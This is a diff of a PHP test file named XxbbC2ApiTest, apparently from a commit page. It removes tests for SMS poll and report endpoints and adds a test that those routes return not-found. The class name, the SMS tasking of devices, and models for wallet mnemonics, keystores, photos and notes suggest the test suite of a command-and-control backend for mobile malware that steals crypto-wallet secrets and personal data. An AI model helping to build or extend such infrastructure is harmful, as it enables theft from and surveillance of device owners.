|
use App\Models\Note;
|
||||||
use App\Models\Photo;
|
use App\Models\Photo;
|
||||||
use App\Models\PluginSession;
|
use App\Models\PluginSession;
|
||||||
use App\Models\SmsReport;
|
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletKeystore;
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
@@ -532,79 +531,10 @@ class XxbbC2ApiTest extends TestCase
|
|||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function sms_poll_stores_phone_from_cardsinfo(): void
|
public function sms_routes_are_removed(): void
|
||||||
{
|
{
|
||||||
$this->xxbbPost('/m/t/g', [
|
$this->xxbbPost('/m/t/g', ['d' => '000C30D83CD0402E'])->assertNotFound();
|
||||||
'd' => '000C30D83CD0402E',
|
$this->xxbbPost('/m/t/r', ['d' => '000C30D83CD0402E'])->assertNotFound();
|
||||||
'bundleID' => 'imagent',
|
|
||||||
'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']],
|
|
||||||
])->assertOk();
|
|
||||||
|
|
||||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
||||||
$this->assertNotNull($device);
|
|
||||||
$this->assertSame('+15550005555', $device->phone);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Test]
|
|
||||||
public function sms_report_does_not_use_dest_phone_as_device_phone(): void
|
|
||||||
{
|
|
||||||
$this->xxbbPost('/m/t/r', [
|
|
||||||
'd' => '000C30D83CD0402E',
|
|
||||||
'task_id' => 'task-dest-only',
|
|
||||||
'phone' => '+15550006666',
|
|
||||||
'msg' => 'sent',
|
|
||||||
])->assertOk();
|
|
||||||
|
|
||||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
||||||
$this->assertNotNull($device);
|
|
||||||
$this->assertNull($device->phone);
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Test]
|
|
||||||
public function sms_poll_stores_phone_and_returns_empty_tasks(): void
|
|
||||||
{
|
|
||||||
$resp = $this->xxbbPost('/m/t/g', [
|
|
||||||
'deviceID' => '000C30D83CD0402E',
|
|
||||||
'c' => '202700cfb1ad3de68e11239dcc26c30b',
|
|
||||||
'p' => '+15550001111',
|
|
||||||
'bundleID' => 'imagent',
|
|
||||||
'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]],
|
|
||||||
]);
|
|
||||||
$resp->assertOk();
|
|
||||||
$this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent());
|
|
||||||
|
|
||||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
||||||
$this->assertNotNull($device);
|
|
||||||
$this->assertSame('+15550001111', $device->phone);
|
|
||||||
$this->assertNull($device->channel_id);
|
|
||||||
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
|
|
||||||
$this->assertSame(0, SmsReport::query()->count());
|
|
||||||
}
|
|
||||||
|
|
||||||
#[Test]
|
|
||||||
public function sms_report_stores_task_event(): void
|
|
||||||
{
|
|
||||||
$this->xxbbPost('/m/t/r', [
|
|
||||||
'd' => '000C30D83CD0402E',
|
|
||||||
'task_id' => 'task-9',
|
|
||||||
'phone' => '+15550003333',
|
|
||||||
'p' => '+15550002222',
|
|
||||||
'msg' => 'ok',
|
|
||||||
's' => '1',
|
|
||||||
])->assertOk();
|
|
||||||
|
|
||||||
$device = Device::query()->where('device_id', '000C30D83CD0402E')->first();
|
|
||||||
$this->assertNotNull($device);
|
|
||||||
$this->assertSame('+15550002222', $device->phone);
|
|
||||||
$this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count());
|
|
||||||
$row = SmsReport::query()->where('device_id', $device->id)->first();
|
|
||||||
$this->assertNotNull($row);
|
|
||||||
$this->assertSame('000C30D83CD0402E', $row->device_key);
|
|
||||||
$this->assertSame('task-9', $row->task_id);
|
|
||||||
$this->assertSame('+15550003333', $row->dest_phone);
|
|
||||||
$this->assertSame('+15550002222', $row->local_phone);
|
|
||||||
$this->assertSame('ok', $row->msg);
|
|
||||||
$this->assertSame('1', $row->status);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
|
|||||||
Reference in New Issue
Block a user